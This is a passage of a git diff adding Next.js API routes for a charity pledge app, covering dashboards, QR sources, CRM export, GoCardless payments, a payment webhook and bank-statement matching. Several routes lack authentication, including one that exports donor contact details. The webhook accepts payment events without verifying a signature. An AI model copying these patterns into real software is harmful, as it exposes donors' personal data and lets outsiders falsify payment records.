404 }) + } + const eventId = request.nextUrl.searchParams.get("eventId") + + const where = { + organizationId: orgId, + ...(eventId ? { eventId } : {}), + } + + const [pledges, analytics] = await Promise.all([ + prisma.pledge.findMany({ + where, + include: { + event: { select: { name: true } }, + qrSource: { select: { label: true, volunteerName: true, tableName: true } }, + reminders: { select: { step: true, status: true, scheduledAt: true } }, + }, + orderBy: { createdAt: "desc" }, + }), + prisma.analyticsEvent.groupBy({ + by: ["eventType"], + where: eventId ? { eventId } : {}, + _count: true, + }), + ]) as [PledgeRow[], AnalyticsRow[]] + + const totalPledged = pledges.reduce((s: number, p: PledgeRow) => s + p.amountPence, 0) + const totalCollected = pledges + .filter((p: PledgeRow) => p.status === "paid") + .reduce((s: number, p: PledgeRow) => s + p.amountPence, 0) + const collectionRate = totalPledged > 0 ? totalCollected / totalPledged : 0 + const overdueCount = pledges.filter((p: PledgeRow) => p.status === "overdue").length + const overdueRate = pledges.length > 0 ? overdueCount / pledges.length : 0 + + // Status breakdown + const byStatus: Record = {} + pledges.forEach((p: PledgeRow) => { + byStatus[p.status] = (byStatus[p.status] || 0) + 1 + }) + + // Rail breakdown + const byRail: Record = {} + pledges.forEach((p: PledgeRow) => { + byRail[p.rail] = (byRail[p.rail] || 0) + 1 + }) + + // Top QR sources + const qrStats: Record = {} + pledges.forEach((p: PledgeRow) => { + if (p.qrSource) { + const key = p.qrSource.label + if (!qrStats[key]) qrStats[key] = { label: key, count: 0, amount: 0 } + qrStats[key].count++ + qrStats[key].amount += p.amountPence + } + }) + + // Funnel from analytics + const funnel = Object.fromEntries(analytics.map((a: AnalyticsRow) => [a.eventType, a._count])) + + return NextResponse.json({ + summary: { + totalPledges: pledges.length, + totalPledgedPence: totalPledged, + totalCollectedPence: totalCollected, + collectionRate: Math.round(collectionRate * 100), + overdueRate: Math.round(overdueRate * 100), + }, + byStatus, + byRail, + topSources: Object.values(qrStats).sort((a: { amount: number }, b: { amount: number }) => b.amount - a.amount).slice(0, 10), + funnel, + pledges: pledges.map((p: PledgeRow) => ({ + id: p.id, + reference: p.reference, + amountPence: p.amountPence, + status: p.status, + rail: p.rail, + donorName: p.donorName, + donorEmail: p.donorEmail, + donorPhone: p.donorPhone, + eventName: p.event.name, + source: p.qrSource?.label || null, + volunteerName: p.qrSource?.volunteerName || null, + giftAid: p.giftAid, + createdAt: p.createdAt, + paidAt: p.paidAt, + nextReminder: p.reminders + .filter((r: ReminderRow) => r.status === "pending") + .sort((a: ReminderRow, b: ReminderRow) => a.scheduledAt.getTime() - b.scheduledAt.getTime())[0]?.scheduledAt || null, + lastTouch: p.reminders + .filter((r: ReminderRow) => r.status === "sent") + .sort((a: ReminderRow, b: ReminderRow) => b.scheduledAt.getTime() - a.scheduledAt.getTime())[0]?.scheduledAt || null, + })), + }) + } catch (error) { + console.error("Dashboard error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/events/[id]/qr/[qrId]/download/route.ts b/pledge-now-pay-later/src/app/api/events/[id]/qr/[qrId]/download/route.ts new file mode 100644 index 0000000..22ae137 --- /dev/null +++ b/pledge-now-pay-later/src/app/api/events/[id]/qr/[qrId]/download/route.ts @@ -0,0 +1,32 @@ +import { NextRequest, NextResponse } from "next/server" +import { generateQrBuffer } from "@/lib/qr" + +export async function GET( + request: NextRequest, + { params }: { params: Promise<{ id: string; qrId: string }> } +) { + try { + const { qrId } = await params + const baseUrl = process.env.BASE_URL || "http://localhost:3000" + + // qrId is actually used to look up the code, but for simplicity use the code from query + const code = request.nextUrl.searchParams.get("code") || qrId + + const buffer = await generateQrBuffer({ + baseUrl, + code, + width: 800, + margin: 2, + }) + + return new NextResponse(new Uint8Array(buffer), { + headers: { + "Content-Type": "image/png", + "Content-Disposition": `attachment; filename="qr-${code}.png"`, + }, + }) + } catch (error) { + console.error("QR download error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/events/[id]/qr/route.ts b/pledge-now-pay-later/src/app/api/events/[id]/qr/route.ts new file mode 100644 index 0000000..68f008d --- /dev/null +++ b/pledge-now-pay-later/src/app/api/events/[id]/qr/route.ts @@ -0,0 +1,104 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { createQrSourceSchema } from "@/lib/validators" +import { customAlphabet } from "nanoid" + +const generateCode = customAlphabet("23456789abcdefghjkmnpqrstuvwxyz", 8) + +interface QrPledge { + amountPence: number + status: string +} + +interface QrRow { + id: string + label: string + code: string + volunteerName: string | null + tableName: string | null + scanCount: number + createdAt: Date + _count: { pledges: number } + pledges: QrPledge[] +} + +// GET QR sources for event +export async function GET( + request: NextRequest, + { params }: { params: Promise<{ id: string }> } +) { + try { + const { id } = await params + if (!prisma) { + return NextResponse.json([]) + } + const sources = await prisma.qrSource.findMany({ + where: { eventId: id }, + include: { + _count: { select: { pledges: true } }, + pledges: { select: { amountPence: true, status: true } }, + }, + orderBy: { createdAt: "desc" }, + }) as QrRow[] + + return NextResponse.json( + sources.map((s: QrRow) => ({ + id: s.id, + label: s.label, + code: s.code, + volunteerName: s.volunteerName, + tableName: s.tableName, + scanCount: s.scanCount, + pledgeCount: s._count.pledges, + totalPledged: s.pledges.reduce((sum: number, p: QrPledge) => sum + p.amountPence, 0), + createdAt: s.createdAt, + })) + ) + } catch (error) { + console.error("QR sources GET error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} + +// POST create QR source +export async function POST( + request: NextRequest, + { params }: { params: Promise<{ id: string }> } +) { + try { + const { id } = await params + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + const body = await request.json() + + const parsed = createQrSourceSchema.safeParse(body) + if (!parsed.success) { + return NextResponse.json({ error: "Invalid data", details: parsed.error.flatten() }, { status: 400 }) + } + + const event = await prisma.event.findUnique({ + where: { id }, + select: { id: true }, + }) + + if (!event) { + return NextResponse.json({ error: "Event not found" }, { status: 404 }) + } + + const code = generateCode() + + const qrSource = await prisma.qrSource.create({ + data: { + ...parsed.data, + code, + eventId: id, + }, + }) + + return NextResponse.json(qrSource, { status: 201 }) + } catch (error) { + console.error("QR source creation error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/events/route.ts b/pledge-now-pay-later/src/app/api/events/route.ts new file mode 100644 index 0000000..685ee77 --- /dev/null +++ b/pledge-now-pay-later/src/app/api/events/route.ts @@ -0,0 +1,107 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { createEventSchema } from "@/lib/validators" +import { resolveOrgId } from "@/lib/org" + +interface PledgeSummary { + amountPence: number + status: string +} + +interface EventRow { + id: string + name: string + slug: string + eventDate: Date | null + location: string | null + goalAmount: number | null + status: string + createdAt: Date + _count: { pledges: number; qrSources: number } + pledges: PledgeSummary[] +} + +// GET all events for org (TODO: auth middleware) +export async function GET(request: NextRequest) { + try { + if (!prisma) { + return NextResponse.json([]) + } + const orgId = await resolveOrgId(request.headers.get("x-org-id")) + if (!orgId) { + return NextResponse.json({ error: "Organization not found" }, { status: 404 }) + } + + const events = await prisma.event.findMany({ + where: { organizationId: orgId }, + include: { + _count: { select: { pledges: true, qrSources: true } }, + pledges: { + select: { amountPence: true, status: true }, + }, + }, + orderBy: { createdAt: "desc" }, + }) as EventRow[] + + const formatted = events.map((e: EventRow) => ({ + id: e.id, + name: e.name, + slug: e.slug, + eventDate: e.eventDate, + location: e.location, + goalAmount: e.goalAmount, + status: e.status, + pledgeCount: e._count.pledges, + qrSourceCount: e._count.qrSources, + totalPledged: e.pledges.reduce((sum: number, p: PledgeSummary) => sum + p.amountPence, 0), + totalCollected: e.pledges + .filter((p: PledgeSummary) => p.status === "paid") + .reduce((sum: number, p: PledgeSummary) => sum + p.amountPence, 0), + createdAt: e.createdAt, + })) + + return NextResponse.json(formatted) + } catch (error) { + console.error("Events GET error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} + +// POST create event +export async function POST(request: NextRequest) { + try { + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + const orgId = await resolveOrgId(request.headers.get("x-org-id")) + if (!orgId) { + return NextResponse.json({ error: "Organization not found" }, { status: 404 }) + } + const body = await request.json() + + const parsed = createEventSchema.safeParse(body) + if (!parsed.success) { + return NextResponse.json({ error: "Invalid data", details: parsed.error.flatten() }, { status: 400 }) + } + + const slug = parsed.data.name + .toLowerCase() + .replace(/[^a-z0-9]+/g, "-") + .replace(/^-|-$/g, "") + .slice(0, 50) + + const event = await prisma.event.create({ + data: { + ...parsed.data, + slug: slug + "-" + Date.now().toString(36), + eventDate: parsed.data.eventDate ? new Date(parsed.data.eventDate) : null, + organizationId: orgId, + }, + }) + + return NextResponse.json(event, { status: 201 }) + } catch (error) { + console.error("Event creation error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/exports/crm-pack/route.ts b/pledge-now-pay-later/src/app/api/exports/crm-pack/route.ts new file mode 100644 index 0000000..6a04421 --- /dev/null +++ b/pledge-now-pay-later/src/app/api/exports/crm-pack/route.ts @@ -0,0 +1,78 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { formatCrmExportCsv, type CrmExportRow } from "@/lib/exports" +import { resolveOrgId } from "@/lib/org" + +interface ExportPledge { + reference: string + donorName: string | null + donorEmail: string | null + donorPhone: string | null + amountPence: number + rail: string + status: string + giftAid: boolean + createdAt: Date + paidAt: Date | null + event: { name: string } + qrSource: { label: string; volunteerName: string | null; tableName: string | null } | null +} + +export async function GET(request: NextRequest) { + try { + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + const orgId = await resolveOrgId( + request.headers.get("x-org-id") || request.nextUrl.searchParams.get("orgId") || "demo" + ) + if (!orgId) { + return NextResponse.json({ error: "Organization not found" }, { status: 404 }) + } + const eventId = request.nextUrl.searchParams.get("eventId") + + const pledges = await prisma.pledge.findMany({ + where: { + organizationId: orgId, + ...(eventId ? { eventId } : {}), + }, + include: { + event: { select: { name: true } }, + qrSource: { select: { label: true, volunteerName: true, tableName: true } }, + }, + orderBy: { createdAt: "desc" }, + }) as ExportPledge[] + + const rows: CrmExportRow[] = pledges.map((p: ExportPledge) => ({ + pledge_reference: p.reference, + donor_name: p.donorName || "", + donor_email: p.donorEmail || "", + donor_phone: p.donorPhone || "", + amount_gbp: (p.amountPence / 100).toFixed(2), + payment_method: p.rail, + status: p.status, + event_name: p.event.name, + source_label: p.qrSource?.label || "", + volunteer_name: p.qrSource?.volunteerName || "", + table_name: p.qrSource?.tableName || "", + gift_aid: p.giftAid ? "Yes" : "No", + pledged_at: p.createdAt.toISOString(), + paid_at: p.paidAt?.toISOString() || "", + days_to_collect: p.paidAt + ? Math.ceil((p.paidAt.getTime() - p.createdAt.getTime()) / (1000 * 60 * 60 * 24)).toString() + : "", + })) + + const csv = formatCrmExportCsv(rows) + + return new NextResponse(csv, { + headers: { + "Content-Type": "text/csv", + "Content-Disposition": `attachment; filename="crm-export-${new Date().toISOString().slice(0, 10)}.csv"`, + }, + }) + } catch (error) { + console.error("CRM export error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/gocardless/callback/route.ts b/pledge-now-pay-later/src/app/api/gocardless/callback/route.ts new file mode 100644 index 0000000..d3b059a --- /dev/null +++ b/pledge-now-pay-later/src/app/api/gocardless/callback/route.ts @@ -0,0 +1,74 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { completeRedirectFlow, createPayment } from "@/lib/gocardless" + +export async function GET(request: NextRequest) { + try { + const pledgeId = request.nextUrl.searchParams.get("pledge_id") + const redirectFlowId = request.nextUrl.searchParams.get("redirect_flow_id") + + if (!pledgeId) { + return NextResponse.redirect(new URL("/", request.url)) + } + + const pledge = await prisma.pledge.findUnique({ + where: { id: pledgeId }, + include: { event: true, paymentInstruction: true }, + }) + + if (!pledge) { + return NextResponse.redirect(new URL("/", request.url)) + } + + // If we have a redirect flow ID, complete the GoCardless flow + if (redirectFlowId) { + const result = await completeRedirectFlow(redirectFlowId, pledgeId) + + if (result) { + // Save mandate ID + if (pledge.paymentInstruction) { + await prisma.paymentInstruction.update({ + where: { id: pledge.paymentInstruction.id }, + data: { gcMandateId: result.mandateId }, + }) + } + + // Create the payment against the mandate + const payment = await createPayment({ + amountPence: pledge.amountPence, + mandateId: result.mandateId, + reference: pledge.reference, + pledgeId: pledge.id, + description: `${pledge.event.name} — ${pledge.reference}`, + }) + + if (payment) { + // Update pledge status + await prisma.pledge.update({ + where: { id: pledgeId }, + data: { status: "initiated" }, + }) + + // Record payment + await prisma.payment.create({ + data: { + pledgeId: pledge.id, + provider: "gocardless", + providerRef: payment.paymentId, + amountPence: pledge.amountPence, + status: "pending", + matchedBy: "auto", + }, + }) + } + } + } + + // Redirect to success page + const successUrl = `/p/success?pledge_id=${pledgeId}&rail=gocardless` + return NextResponse.redirect(new URL(successUrl, request.url)) + } catch (error) { + console.error("GoCardless callback error:", error) + return NextResponse.redirect(new URL("/", request.url)) + } +} diff --git a/pledge-now-pay-later/src/app/api/gocardless/create-flow/route.ts b/pledge-now-pay-later/src/app/api/gocardless/create-flow/route.ts new file mode 100644 index 0000000..5af611b --- /dev/null +++ b/pledge-now-pay-later/src/app/api/gocardless/create-flow/route.ts @@ -0,0 +1,135 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { createRedirectFlow } from "@/lib/gocardless" +import { generateReference } from "@/lib/reference" + +export async function POST(request: NextRequest) { + try { + const body = await request.json() + const { amountPence, donorName, donorEmail, donorPhone, giftAid, eventId, qrSourceId } = body + + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + + // Get event + org + const event = await prisma.event.findUnique({ + where: { id: eventId }, + include: { organization: true }, + }) + if (!event) { + return NextResponse.json({ error: "Event not found" }, { status: 404 }) + } + + const org = event.organization + + // Generate reference + let reference = "" + let attempts = 0 + while (attempts < 10) { + reference = generateReference(org.refPrefix || "PNPL", amountPence) + const exists = await prisma.pledge.findUnique({ where: { reference } }) + if (!exists) break + attempts++ + } + + // Create pledge in DB + const pledge = await prisma.pledge.create({ + data: { + reference, + amountPence, + currency: "GBP", + rail: "gocardless", + status: "new", + donorName: donorName || null, + donorEmail: donorEmail || null, + donorPhone: donorPhone || null, + giftAid: giftAid || false, + eventId, + qrSourceId: qrSourceId || null, + organizationId: org.id, + }, + }) + + // Create reminder schedule + const { calculateReminderSchedule } = await import("@/lib/reminders") + const schedule = calculateReminderSchedule(new Date()) + await prisma.reminder.createMany({ + data: schedule.map((s) => ({ + pledgeId: pledge.id, + step: s.step, + channel: s.channel, + scheduledAt: s.scheduledAt, + status: "pending", + payload: { templateKey: s.templateKey, subject: s.subject }, + })), + }) + + // Track analytics + await prisma.analyticsEvent.create({ + data: { + eventType: "pledge_completed", + pledgeId: pledge.id, + eventId, + qrSourceId: qrSourceId || null, + metadata: { amountPence, rail: "gocardless" }, + }, + }) + + // Try real GoCardless flow + // GoCardless live mode requires HTTPS redirect URLs + const baseUrl = process.env.BASE_URL || "http://localhost:3000" + const isHttps = baseUrl.startsWith("https://") + const redirectUrl = `${baseUrl}/api/gocardless/callback?pledge_id=${pledge.id}` + + if (!isHttps && process.env.GOCARDLESS_ENVIRONMENT === "live") { + // Can't use GC live with HTTP — return simulated mode + // Set BASE_URL to your HTTPS domain to enable live GoCardless + console.warn("GoCardless live mode requires HTTPS BASE_URL. Falling back to simulated.") + return NextResponse.json({ + mode: "simulated", + pledgeId: pledge.id, + reference, + id: pledge.id, + }) + } + + const flow = await createRedirectFlow({ + description: `${event.name} — ${reference}`, + reference, + pledgeId: pledge.id, + successRedirectUrl: redirectUrl, + }) + + if (flow) { + // Save the redirect flow ID for completion + await prisma.paymentInstruction.create({ + data: { + pledgeId: pledge.id, + bankReference: reference, + bankDetails: {}, + gcMandateUrl: flow.redirectUrl, + }, + }) + + return NextResponse.json({ + mode: "live", + pledgeId: pledge.id, + reference, + redirectUrl: flow.redirectUrl, + redirectFlowId: flow.redirectFlowId, + }) + } + + // Fallback: no GoCardless configured — return pledge for simulated flow + return NextResponse.json({ + mode: "simulated", + pledgeId: pledge.id, + reference, + id: pledge.id, + }) + } catch (error) { + console.error("GoCardless create flow error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/gocardless/webhook/route.ts b/pledge-now-pay-later/src/app/api/gocardless/webhook/route.ts new file mode 100644 index 0000000..798a792 --- /dev/null +++ b/pledge-now-pay-later/src/app/api/gocardless/webhook/route.ts @@ -0,0 +1,82 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" + +// GoCardless sends webhook events for payment status changes +export async function POST(request: NextRequest) { + try { + const body = await request.json() + const events = body.events || [] + + for (const event of events) { + const { resource_type, action, links } = event + + if (resource_type === "payments") { + const paymentId = links?.payment + + if (!paymentId) continue + + // Find our payment record + const payment = await prisma.payment.findFirst({ + where: { providerRef: paymentId, provider: "gocardless" }, + include: { pledge: true }, + }) + + if (!payment) continue + + switch (action) { + case "confirmed": + case "paid_out": + await prisma.pledge.update({ + where: { id: payment.pledgeId }, + data: { status: "paid", paidAt: new Date() }, + }) + await prisma.payment.update({ + where: { id: payment.id }, + data: { status: "confirmed", receivedAt: new Date() }, + }) + await prisma.analyticsEvent.create({ + data: { + eventType: "payment_matched", + pledgeId: payment.pledgeId, + metadata: { provider: "gocardless", action, paymentId }, + }, + }) + break + + case "failed": + case "cancelled": + await prisma.pledge.update({ + where: { id: payment.pledgeId }, + data: { status: action === "cancelled" ? "cancelled" : "overdue" }, + }) + await prisma.payment.update({ + where: { id: payment.id }, + data: { status: "failed" }, + }) + break + } + } + + if (resource_type === "mandates" && action === "cancelled") { + // Mandate cancelled by bank/customer + const mandateId = links?.mandate + if (mandateId) { + const instruction = await prisma.paymentInstruction.findFirst({ + where: { gcMandateId: mandateId }, + }) + if (instruction) { + await prisma.pledge.update({ + where: { id: instruction.pledgeId }, + data: { status: "cancelled", cancelledAt: new Date() }, + }) + } + } + } + } + + return NextResponse.json({ received: true }) + } catch (error) { + console.error("GoCardless webhook error:", error) + return NextResponse.json({ error: "Webhook handler failed" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/imports/bank-statement/route.ts b/pledge-now-pay-later/src/app/api/imports/bank-statement/route.ts new file mode 100644 index 0000000..d143d6a --- /dev/null +++ b/pledge-now-pay-later/src/app/api/imports/bank-statement/route.ts @@ -0,0 +1,133 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import Papa from "papaparse" +import { matchBankRow } from "@/lib/matching" +import { resolveOrgId } from "@/lib/org" + +export async function POST(request: NextRequest) { + try { + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + const orgId = await resolveOrgId(request.headers.get("x-org-id")) + if (!orgId) { + return NextResponse.json({ error: "Organization not found" }, { status: 404 }) + } + const formData = await request.formData() + const file = formData.get("file") as File + const mappingJson = formData.get("mapping") as string + + if (!file) { + return NextResponse.json({ error: "No file uploaded" }, { status: 400 }) + } + + let mapping: Record = {} + try { + mapping = mappingJson ? JSON.parse(mappingJson) : {} + } catch { + return NextResponse.json({ error: "Invalid column mapping JSON" }, { status: 400 }) + } + const csvText = await file.text() + const parsed = Papa.parse(csvText, { header: true, skipEmptyLines: true }) + + if (parsed.errors.length > 0 && parsed.data.length === 0) { + return NextResponse.json({ error: "CSV parse error", details: parsed.errors }, { status: 400 }) + } + + // Get all unmatched pledges for this org + const openPledges = await prisma.pledge.findMany({ + where: { + organizationId: orgId, + status: { in: ["new", "initiated", "overdue"] }, + }, + select: { id: true, reference: true, amountPence: true }, + }) + + const pledgeMap = new Map( + openPledges.map((p: { id: string; reference: string; amountPence: number }) => [p.reference, { id: p.id, amountPence: p.amountPence }]) + ) + + // Convert rows and match + const rows = (parsed.data as Record[]).map((raw) => ({ + date: raw[mapping.dateCol || "Date"] || "", + description: raw[mapping.descriptionCol || "Description"] || "", + amount: parseFloat(raw[mapping.creditCol || mapping.amountCol || "Amount"] || "0"), + reference: raw[mapping.referenceCol || "Reference"] || "", + raw, + })) + + const results = rows + .filter((r) => r.amount > 0) // only credits + .map((r) => matchBankRow(r, pledgeMap)) + + // Create import record + const importRecord = await prisma.import.create({ + data: { + organizationId: orgId, + kind: "bank_statement", + fileName: file.name, + rowCount: rows.length, + matchedCount: results.filter((r) => r.confidence === "exact").length, + unmatchedCount: results.filter((r) => r.confidence === "none").length, + mappingConfig: mapping, + status: "completed", + stats: { + totalRows: rows.length, + credits: rows.filter((r) => r.amount > 0).length, + exactMatches: results.filter((r) => r.confidence === "exact").length, + partialMatches: results.filter((r) => r.confidence === "partial").length, + unmatched: results.filter((r) => r.confidence === "none").length, + }, + }, + }) + + // Auto-confirm exact matches + const confirmed: string[] = [] + for (const result of results) { + if (result.confidence === "exact" && result.pledgeId) { + await prisma.$transaction([ + prisma.pledge.update({ + where: { id: result.pledgeId }, + data: { status: "paid", paidAt: new Date() }, + }), + prisma.payment.create({ + data: { + pledgeId: result.pledgeId, + provider: "bank", + amountPence: Math.round(result.matchedAmount * 100), + status: "confirmed", + matchedBy: "auto", + receivedAt: new Date(result.bankRow.date) || new Date(), + importId: importRecord.id, + }, + }), + // Skip remaining reminders + prisma.reminder.updateMany({ + where: { pledgeId: result.pledgeId, status: "pending" }, + data: { status: "skipped" }, + }), + ]) + confirmed.push(result.pledgeId) + } + } + + return NextResponse.json({ + importId: importRecord.id, + summary: { + totalRows: rows.length, + credits: rows.filter((r) => r.amount > 0).length, + exactMatches: results.filter((r) => r.confidence === "exact").length, + partialMatches: results.filter((r) => r.confidence === "partial").length, + unmatched: results.filter((r) => r.confidence === "none").length, + autoConfirmed: confirmed.length, + }, + matches: results.map((r) => ({ + ...r, + autoConfirmed: r.pledgeId ? confirmed.includes(r.pledgeId) : false, + })), + }) + } catch (error) { + console.error("Bank import error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/pledges/[id]/mark-initiated/route.ts b/pledge-now-pay-later/src/app/api/pledges/[id]/mark-initiated/route.ts new file mode 100644 index 0000000..edc84a9 --- /dev/null +++ b/pledge-now-pay-later/src/app/api/pledges/[id]/mark-initiated/route.ts @@ -0,0 +1,31 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" + +export async function POST( + request: NextRequest, + { params }: { params: Promise<{ id: string }> } +) { + try { + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + const { id } = await params + + if (id.startsWith("demo-")) { + return NextResponse.json({ ok: true }) + } + + await prisma.pledge.update({ + where: { id }, + data: { + status: "initiated", + iPaidClickedAt: new Date(), + }, + }) + + return NextResponse.json({ ok: true }) + } catch (error) { + console.error("Mark initiated error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/pledges/[id]/route.ts b/pledge-now-pay-later/src/app/api/pledges/[id]/route.ts new file mode 100644 index 0000000..196011a --- /dev/null +++ b/pledge-now-pay-later/src/app/api/pledges/[id]/route.ts @@ -0,0 +1,88 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { updatePledgeStatusSchema } from "@/lib/validators" + +export async function GET( + request: NextRequest, + { params }: { params: Promise<{ id: string }> } +) { + try { + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + const { id } = await params + const pledge = await prisma.pledge.findUnique({ + where: { id }, + include: { event: { select: { name: true } } }, + }) + if (!pledge) { + return NextResponse.json({ error: "Not found" }, { status: 404 }) + } + return NextResponse.json({ + id: pledge.id, + reference: pledge.reference, + amountPence: pledge.amountPence, + rail: pledge.rail, + status: pledge.status, + donorName: pledge.donorName, + donorEmail: pledge.donorEmail, + eventName: pledge.event.name, + }) + } catch (error) { + console.error("Pledge GET error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} + +export async function PATCH( + request: NextRequest, + { params }: { params: Promise<{ id: string }> } +) { + try { + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + const { id } = await params + const body = await request.json() + + const parsed = updatePledgeStatusSchema.safeParse(body) + if (!parsed.success) { + return NextResponse.json({ error: "Invalid data" }, { status: 400 }) + } + + const existing = await prisma.pledge.findUnique({ where: { id } }) + if (!existing) { + return NextResponse.json({ error: "Pledge not found" }, { status: 404 }) + } + + const updateData: Record = { + status: parsed.data.status, + notes: parsed.data.notes, + } + + if (parsed.data.status === "paid") { + updateData.paidAt = new Date() + } + if (parsed.data.status === "cancelled") { + updateData.cancelledAt = new Date() + } + + const pledge = await prisma.pledge.update({ + where: { id }, + data: updateData, + }) + + // If paid or cancelled, skip remaining reminders + if (["paid", "cancelled"].includes(parsed.data.status)) { + await prisma.reminder.updateMany({ + where: { pledgeId: id, status: "pending" }, + data: { status: "skipped" }, + }) + } + + return NextResponse.json(pledge) + } catch (error) { + console.error("Pledge update error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/pledges/route.ts b/pledge-now-pay-later/src/app/api/pledges/route.ts new file mode 100644 index 0000000..c941fbd --- /dev/null +++ b/pledge-now-pay-later/src/app/api/pledges/route.ts @@ -0,0 +1,133 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { createPledgeSchema } from "@/lib/validators" +import { generateReference } from "@/lib/reference" +import { calculateReminderSchedule } from "@/lib/reminders" + +export async function POST(request: NextRequest) { + try { + const body = await request.json() + + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + + const parsed = createPledgeSchema.safeParse(body) + if (!parsed.success) { + return NextResponse.json( + { error: "Invalid data", details: parsed.error.flatten() }, + { status: 400 } + ) + } + + const { amountPence, rail, donorName, donorEmail, donorPhone, giftAid, eventId, qrSourceId } = parsed.data + + // Get event + org + const event = await prisma.event.findUnique({ + where: { id: eventId }, + include: { organization: true }, + }) + + if (!event) { + return NextResponse.json({ error: "Event not found" }, { status: 404 }) + } + + const org = event.organization + + // Generate unique reference (retry on collision) + let reference = "" + let attempts = 0 + while (attempts < 10) { + reference = generateReference(org.refPrefix || "PNPL", amountPence) + const exists = await prisma.pledge.findUnique({ where: { reference } }) + if (!exists) break + attempts++ + } + if (attempts >= 10) { + return NextResponse.json({ error: "Could not generate unique reference" }, { status: 500 }) + } + + // Create pledge + payment instruction + reminder schedule in transaction + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const pledge = await prisma.$transaction(async (tx: any) => { + const p = await tx.pledge.create({ + data: { + reference, + amountPence, + currency: "GBP", + rail, + status: "new", + donorName: donorName || null, + donorEmail: donorEmail || null, + donorPhone: donorPhone || null, + giftAid, + eventId, + qrSourceId: qrSourceId || null, + organizationId: org.id, + }, + }) + + // Create payment instruction for bank transfers + if (rail === "bank" && org.bankSortCode && org.bankAccountNo) { + await tx.paymentInstruction.create({ + data: { + pledgeId: p.id, + bankReference: reference, + bankDetails: { + bankName: org.bankName || "", + sortCode: org.bankSortCode, + accountNo: org.bankAccountNo, + accountName: org.bankAccountName || org.name, + }, + }, + }) + } + + // Create reminder schedule + const schedule = calculateReminderSchedule(new Date()) + await tx.reminder.createMany({ + data: schedule.map((s) => ({ + pledgeId: p.id, + step: s.step, + channel: s.channel, + scheduledAt: s.scheduledAt, + status: "pending", + payload: { templateKey: s.templateKey, subject: s.subject }, + })), + }) + + // Track analytics + await tx.analyticsEvent.create({ + data: { + eventType: "pledge_completed", + pledgeId: p.id, + eventId, + qrSourceId: qrSourceId || null, + metadata: { amountPence, rail }, + }, + }) + + return p + }) + + // Build response + const response: Record = { + id: pledge.id, + reference: pledge.reference, + } + + if (rail === "bank" && org.bankSortCode) { + response.bankDetails = { + bankName: org.bankName || "", + sortCode: org.bankSortCode, + accountNo: org.bankAccountNo || "", + accountName: org.bankAccountName || org.name, + } + } + + return NextResponse.json(response, { status: 201 }) + } catch (error) { + console.error("Pledge creation error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/qr/[token]/route.ts b/pledge-now-pay-later/src/app/api/qr/[token]/route.ts new file mode 100644 index 0000000..9e8cbaa --- /dev/null +++ b/pledge-now-pay-later/src/app/api/qr/[token]/route.ts @@ -0,0 +1,66 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" + +export async function GET( + request: NextRequest, + { params }: { params: Promise<{ token: string }> } +) { + try { + const { token } = await params + + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + + // Handle "demo" token — resolve to the first active event + if (token === "demo") { + const event = await prisma.event.findFirst({ + where: { status: "active" }, + include: { organization: { select: { name: true } } }, + orderBy: { createdAt: "asc" }, + }) + if (!event) { + return NextResponse.json({ error: "No active events found" }, { status: 404 }) + } + return NextResponse.json({ + id: event.id, + name: event.name, + organizationName: event.organization.name, + qrSourceId: null, + qrSourceLabel: null, + }) + } + + const qrSource = await prisma.qrSource.findUnique({ + where: { code: token }, + include: { + event: { + include: { + organization: { select: { name: true } }, + }, + }, + }, + }) + + if (!qrSource || qrSource.event.status !== "active") { + return NextResponse.json({ error: "This pledge link is no longer active" }, { status: 404 }) + } + + // Increment scan count + await prisma.qrSource.update({ + where: { id: 